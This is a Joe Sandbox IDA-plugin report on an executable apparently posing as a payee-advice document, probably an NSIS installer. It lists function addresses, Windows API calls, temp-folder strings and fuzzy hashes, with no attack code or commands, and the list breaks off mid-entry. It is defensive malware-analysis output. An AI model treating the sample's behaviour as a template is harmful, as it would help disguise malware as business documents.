Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Tahoma
API String ID: 3808545654-3580928618
Opcode ID: 5bd6bd5a0da59a8b862859853f94caf732d3d6ef064c8fd9610db6583930af4a
Instruction ID: 8812a6a15301a194985102fbed33e50eefbd915e65da34b8167a76c641a3bf07
Opcode Fuzzy Hash: 5bd6bd5a0da59a8b862859853f94caf732d3d6ef064c8fd9610db6583930af4a
Instruction Fuzzy Hash: 1B017571948240EFE7406BB4AF8A7D97FB49F95301F10457EE241B71E2CA7804459F2D

Function 00402DF3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
MulDiv.KERNEL32(0008E19C,?,0008E1A0), ref: 00402E3C
wsprintfW.USER32 ref: 00402E4C
SetWindowTextW.USER32(?,?), ref: 00402E5C
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E6E

Strings

verifying installer: %d%%, xrefs: 00402E46

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 1a328351c5421bd6383489faae0abdae529a3cf17d73acb180239156b2535a4a
Instruction ID: 3b7df5e00b9d055b55134e233a6447c2e1405f162d6c23549fa63679cea1b34f
Opcode Fuzzy Hash: 1a328351c5421bd6383489faae0abdae529a3cf17d73acb180239156b2535a4a
Instruction Fuzzy Hash: 5601677164020CBFDF109F50DD49FAE3B69AB04305F108439FA05B51E0DBB98555CF58

Function 7340256D Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 7340121B: GlobalAlloc.KERNEL32(?,?,7340123B,?,734012DF,00000019,734011BE,-000000A0), ref: 73401225

GlobalFree.KERNEL32(?), ref: 7340265B
GlobalFree.KERNEL32(00000000), ref: 73402690

Memory Dump Source

Source File: 00000000.00000002.1922689221.0000000073401000.00000020.00000001.01000000.00000004.sdmp, Offset: 73400000, based on PE: true

Associated: 00000000.00000002.1922572339.0000000073400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922818095.0000000073403000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922990212.0000000073405000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: b669e656c3128047864045ced3c1f48ca5cbbb1e868e95bd5339d0a156471501
Instruction ID: 79aececc3de1f8564be5d27c38a00032c2e7629969dfb6a9109624d46978a4ff
Opcode Fuzzy Hash: b669e656c3128047864045ced3c1f48ca5cbbb1e868e95bd5339d0a156471501
Instruction Fuzzy Hash: 8E31D332304105DFD71E9F65CA94F2E7BFAEB8530872409FDF586A32A4D73198058B19

Function 004028DD Relevance: 9.1, APIs: 6, Instructions: 72memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405D8D: GetFileAttributesW.KERNELBASE(?,00402F1D,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,80000000,00000003,?,00000006,?,0000000A), ref: 00405D91
Part of subcall function 00405D8D: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,?,0000000A), ref: 00405DB3

GlobalAlloc.KERNEL32(?,?), ref: 00402901
CloseHandle.KERNEL32(?), ref: 00402981

Part of subcall function 00403324: SetFilePointer.KERNELBASE(?,00000000,00000000,004030A4,?,?,00000006,?,0000000A), ref: 00403332

GlobalAlloc.KERNEL32(?,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969

Part of subcall function 00403116: GetTickCount.KERNEL32 ref: 00403180
Part of subcall function 00403116: GetTickCount.KERNEL32 ref: 00403204
Part of subcall function 00403116: MulDiv.KERNEL32(7FFFFFFF,?,00000000), ref: 0040322D
Part of subcall function 00403116: wsprintfW.USER32 ref: 00403240

DeleteFileW.KERNEL32(?), ref: 00402995

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: FileGlobal$AllocCountFreeTick$AttributesCloseCreateDeleteHandlePointerwsprintf
String ID:
API String ID: 2082585436-0
Opcode ID: c827c2cf7278cdadf05b1e755185cab5a583015c1a37f0eae63f2d750c89e755
Instruction ID: 28fc6b19e3eb104f9f0a52916e9a6e5f9510a1fb3b167577836d34d3e020e75a
Opcode Fuzzy Hash: c827c2cf7278cdadf05b1e755185cab5a583015c1a37f0eae63f2d750c89e755
Instruction Fuzzy Hash: 95216DB1800118BBCF116FA5DE48CAEBE7AEF08364B10412AF954761E0CA394D419B58

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp\System.dll,00000400,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsj38E6.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp\System.dll,00000400,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nsj38E6.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A
C:\Users\user\AppData\Local\Temp\nsj38E6.tmp, xrefs: 004025E1

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsj38E6.tmp$C:\Users\user\AppData\Local\Temp\nsj38E6.tmp\System.dll
API String ID: 3109718747-2276511938
Opcode ID: 2806917471d26587652065b68c97e9d93b9fed1128aa7c726bb62807fa0de6fb
Instruction ID: 4bb1670e371a3de23f361dcee459543bcfcf4636ee0f51b5b5a9e7d0ab821041
Opcode Fuzzy Hash: 2806917471d26587652065b68c97e9d93b9fed1128aa7c726bb62807fa0de6fb
Instruction Fuzzy Hash: DB11CB72A05300BEDB046FB18E8999F7664AF54399F20843FF502F61D1D9FC89415B5E

Function 734018DD Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 7340193E
GlobalFree.KERNEL32(?), ref: 73401ADE
GlobalFree.KERNEL32(?), ref: 73401AE3

Memory Dump Source

Source File: 00000000.00000002.1922689221.0000000073401000.00000020.00000001.01000000.00000004.sdmp, Offset: 73400000, based on PE: true

Associated: 00000000.00000002.1922572339.0000000073400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922818095.0000000073403000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922990212.0000000073405000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 3c89a64fe9093c95e315788170344cf8e5d252fa1926d54896b2bc39366dffc9
Instruction ID: 7dcc0b0c4d67b2aa78e7cf16f463319766ca81a2b02c8c2f3d2c9902b74fd87d
Opcode Fuzzy Hash: 3c89a64fe9093c95e315788170344cf8e5d252fa1926d54896b2bc39366dffc9
Instruction Fuzzy Hash: CE51D73DF00159DBDB0E9FE48580BAD7ABAEB84204B1442F9D412B3385F77059818F9D

Function 73401621 Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,734021F0,?,00000808), ref: 73401639
GlobalAlloc.KERNEL32(?,00000000,?,00000000,734021F0,?,00000808), ref: 73401640
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,734021F0,?,00000808), ref: 73401654
GetProcAddress.KERNEL32(734021F0,00000000), ref: 7340165B
GlobalFree.KERNEL32(00000000), ref: 73401664

Memory Dump Source

Source File: 00000000.00000002.1922689221.0000000073401000.00000020.00000001.01000000.00000004.sdmp, Offset: 73400000, based on PE: true

Associated: 00000000.00000002.1922572339.0000000073400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922818095.0000000073403000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922990212.0000000073405000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 5afe2c368f472375d699e7095c9e8ff6175ab10d91ef4edfda47125e927eca18
Instruction ID: d5d9c98066f47a09782190eb020826449dbc442c1d31e76233247eced81a3955
Opcode Fuzzy Hash: 5afe2c368f472375d699e7095c9e8ff6175ab10d91ef4edfda47125e927eca18
Instruction Fuzzy Hash: BCF012732071387BD6202AA78E4CD9BBE9CDF8B2F9B110251F75CA119485624C01D7F1

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 9f3e8361c5455c25eedd40ad678b741ea6618978e593034b97affd3e1747e9e4
Instruction ID: 7e4da700d615158f321032e6dee441e0afa22e46251462cde10931eea5e4b44d
Opcode Fuzzy Hash: 9f3e8361c5455c25eedd40ad678b741ea6618978e593034b97affd3e1747e9e4
Instruction Fuzzy Hash: 59F0EC72A04518AFDB41DBE4DE88CEEB7BCEB48301B14446AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 3974eff3514ac80dd6c1aa8123252385dbc5481e5078a21275b56949e15273d0
Instruction ID: 5915ba61491c244e76e1eaab0aa102c6a5e0f3d841db56a12d121f6c77e1b82d
Opcode Fuzzy Hash: 3974eff3514ac80dd6c1aa8123252385dbc5481e5078a21275b56949e15273d0
Instruction Fuzzy Hash: E621C371948209AEEF049FB5DE4AABE7BB4EF84304F14443EF605F61D0D7B889409B18

Function 00404ABB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404B5C
wsprintfW.USER32 ref: 00404B65
SetDlgItemTextW.USER32(?,007A1F20), ref: 00404B78

Strings

%u.%u%s%s, xrefs: 00404B46

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: e544acf4f0842c60a9c18385703c419e840f736fd1e164df9e130a51ba0441a7
Instruction ID: c6a8333de7f2a0e63f9e82a7fb0d3590b97a2c0368f8d4fe0eecd184368e2ceb
Opcode Fuzzy Hash: e544acf4f0842c60a9c18385703c419e840f736fd1e164df9e130a51ba0441a7
Instruction Fuzzy Hash: 5711DB736041282BDB00656D9C41F9E329CDB86334F15423BFB25F21D1D978DC1186E8

Function 00405C17 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,?,00405C8B,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,?,?,74DF3420,004059C9,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405C25
CharNextW.USER32(00000000), ref: 00405C2A
CharNextW.USER32(00000000), ref: 00405C42

Strings

C:\Users\user\AppData\Local\Temp\nsj38E6.tmp, xrefs: 00405C18

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nsj38E6.tmp
API String ID: 3213498283-1881265558
Opcode ID: 92222cf075acf2fbc044c76267536a24963eff6ee4d7f8d65295f56b9dd724d0
Instruction ID: 6a9d977fbe5713998eb834b7ad01fe533960ca492682b5c2b36711c34b001c28
Opcode Fuzzy Hash: 92222cf075acf2fbc044c76267536a24963eff6ee4d7f8d65295f56b9dd724d0
Instruction Fuzzy Hash: DDF0F061808B1095FB3176644C88E7B66BCEB55360B04803BE641B72C0D3B84DC18EAA

Function 00405B6C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403359,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,?,0000000A), ref: 00405B72
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403359,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,?,0000000A), ref: 00405B7C
lstrcatW.KERNEL32(?,0040A014,?,00000006,?,0000000A), ref: 00405B8E

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B6C

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 803477e47080facc391f0cecd2807ccdb00b9d1fdb40608b9d44cb66137c19bb
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: 3BD0A731501A30AAC111BB449D04DDF72ACDE45304342047FF101B31A2C7BC2D5287FD

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
